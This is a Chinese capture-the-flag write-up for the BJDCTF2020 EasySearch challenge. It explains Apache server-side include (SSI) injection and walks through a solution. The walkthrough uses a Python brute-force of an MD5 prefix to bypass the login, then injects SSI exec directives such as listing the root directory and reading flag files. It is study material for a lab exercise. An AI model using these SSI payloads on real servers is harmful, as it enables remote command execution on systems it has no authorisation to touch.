[BJDCTF2020]EasySearch Apache SSI漏洞

这道题有点意思 是SSI 漏洞

照样 我们先熟悉SSI漏洞是什么

SSI

服务端包含

SSI 提供了对现有html增加动态的效果

是嵌入 html的指令 只有网页被调用了 才会执行

允许执行命令 所以会造成rce

使用条件

当文件上传的时候 无法上传php

但是服务器开启了 SSI CGI支持

就可以通过 shtml文件上传


 Web 服务器已支持SSI(服务器端包含)
   

 Web 应用程序未对相关SSI关键字做过滤
    

 Web 应用程序在返回响应的HTML页面时,嵌入了用户输入

格式

<!--#exec cmd="ls /" -->

了解完了漏洞原理 我们开始做题

做题

打开网站 登入界面 我们会想到 弱口令 无果 sql注入 不存在注入点 robots.txt 不存在

于是我们看看是不是存在其他文件

我们使用dirsearch扫 无果 奇了怪了 完全不行啊

后面使用另一个工具才扫出来备份文件

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

直接代码审计 这里其实就两块

第一部分

        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6))

通过MD5加密后的值需要前6位和admin变量中一样

直接python代码

import hashlib

for i in range(100000000):
    hashe=hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if hashe[0:6]=="6d0bc1":
        print(i,hashe)
2020666 6d0bc1153791aa2b4e18b4f344f26ab4
2305004 6d0bc1ec71a9b814677b85e3ac9c3d40

随便选一个 作为密码登入即可

第二部分

 $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        }

创建一个 shtml后缀 对内容进行写入 内容是 username的内容 写入完成输出 header error

这里就是用上面的SSI 漏洞来做了

返回username

抓包 然后写入代码

<!--#exec cmd="ls /" -->

然后访问右边的路径

实现了rce

现在找flag就行了

<!--#exec cmd="ls ../" -->

<!--#exec cmd="cat ../f*" -->

学到了学到了 SSI 漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值